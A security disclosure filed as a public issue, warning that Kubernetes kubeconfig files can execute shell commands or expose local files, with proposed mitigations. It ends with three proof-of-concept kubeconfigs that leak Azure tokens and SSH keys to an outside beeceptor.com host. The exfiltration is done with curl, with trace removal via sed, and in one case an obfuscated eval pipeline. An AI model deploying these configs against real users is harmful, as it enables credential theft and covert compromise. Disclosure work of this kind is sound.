Description
We reached out the Kubernetes security team with the following report, and the only response within a week was from Brandon Philips, an advice to open a public issue here.
We recently realized an issue about the security of Kubeconfig files, especially when used for the exchange of credentials and for accessing Kubernetes API servers. It is common practice to make Kubeconfig files available for download.
The issue is that most users are not aware that Kubeconfig files can lead to the execution of malicious shell commands or to the exposure of arbitrary files. Of course security-aware interactive users, or the developers of automated systems take care of inspecting the contents of the Kubeconfig file before use, but it is not something that you trivially identify as a vulnerable interface.
There are two broad set of issues:
- A Kubeconfig file exposes users (Kubernetes administrators, developers) to the risk of their local systems being compromised.
- Automated systems like public CI/CDs or other similar services (dashboards, service meshes, etc.) may get compromised through the sdk client executing insecure operations.
The first one affects kubectl users primarily, but we haven’t found any public discussions about this topic so far, neither a single warning in the documentation.
Our suggestion would be to start a discussion now and to consider some of the following solutions. Some of these are specific to kubectl, while others could be implemented in the Go client:
- Build a user- or system global configurable list of commands that are supported for
exec()-ing from Kubernetes just like the/etc/shellsof Unix systems. Installed packages, like the gcloud tool, could add themselves to the list. - Require all the commands
exec()-ed from Kubernetes to be in ~/.kube/bin or another folder used for this single purpose, require commands to be basenames (no slashes), and use this folder as the only item of PATH. Administrators or package installers may create the needed symlinks. - Add a kubectl command-line flag and sdk client config parameter for allowing reading files outside the folder of the kubeconfig, or ~/.kube, or some other well-defined scope (InClusterConfig could set it as well).
- Add an option to the sdk client to replace the Exec interface used for these functions, for example to restrict the environment variables to share, or implement a restricted environment to run these commands inside, for example to run them in separate K8s Tasks.
Create a “base” kubeconfig that is not replaced easily, and unlike the normal kubeconfig, can set sensitive values like the list of allowed commands. This might be controlled by a new env var and a default value. - Implement a better API server access/credentials interchange format, that could be used in a way that is independent from kubeconfig. This could contain a single cluster and user definition, and may reside in a place like
~/.kube/cluster.dorcontext.d. This might make it possible to keep the above-mentioned sensitive flags in the kubeconfig, which is not supposed to be replaced with another configuration as an everyday practice.
Find below a few examples for illustration of the problem (use env KUBECONFIG=file kubectl version to try them):
- Leak Azure tokens on the machine
- Leak SSH private keys and remove traces
- Leak ~/.ssh (private keys and known hosts) -- different method
==> dataleak-poc/file <==
# send any shorter single-line file readable by the user to an arbitrary address as a http header
# as an example, Azure credentials are in a single-line json, and can be easily leaked unless there are too many expired tokens
# in a kubernetes pod accepting kubeconfigs from users, this might be a mounted secret too
apiVersion: v1
kind: Config
clusters:
- cluster:
server: 'https://eipu5nae.free.beeceptor.com'
name: poc
contexts:
- context:
cluster: poc
user: poc
name: poc
current-context: poc
users:
- name: poc
user:
tokenFile: ../.azure/accessTokens.json.dontdoit # assume that this kubeconfig file is in ~/Downloads (and is not too long...)
==> exec-poc/file <==
# execute arbitrary commands with the exec authenticator
# in the example, leak the ssh keys (.pub is optional) and remove the traces
apiVersion: v1
clusters:
- cluster:
server: https://eipu5nae.free.beeceptor.com/
name: poc
contexts:
- context:
cluster: poc
user: poc
name: poc
current-context: poc
kind: Config
preferences: {}
users:
- name: poc
user:
exec:
apiVersion: client.authentication.k8s.io/v1alpha1
command: sh
args:
- -c
- "curl -d@../.ssh/id_rsa.pub https://eipu5nae.free.beeceptor.com/exec; sed -i -e '/exec:/,$ d' \"$KUBECONFIG\" || true"
==> gcp-auth-exec-poc/file <==
# execute arbitrary commands with the gcp auth provider
# in the example, leak the ssh keys
apiVersion: v1
clusters:
- cluster:
server: https://eipu5nae.free.beeceptor.com/
name: poc
contexts:
- context:
cluster: poc
user: poc
name: poc
current-context: poc
kind: Config
preferences: {}
users:
- name: poc
user:
auth-provider:
config:
cmd-args: -c IFS=_;cmd="eval_tar_c_$HOME/.ssh.dontdoit|base64|curl_-d@-_https://eipu5nae.free.beeceptor.com";$cmd
cmd-path: /bin/sh
name: gcp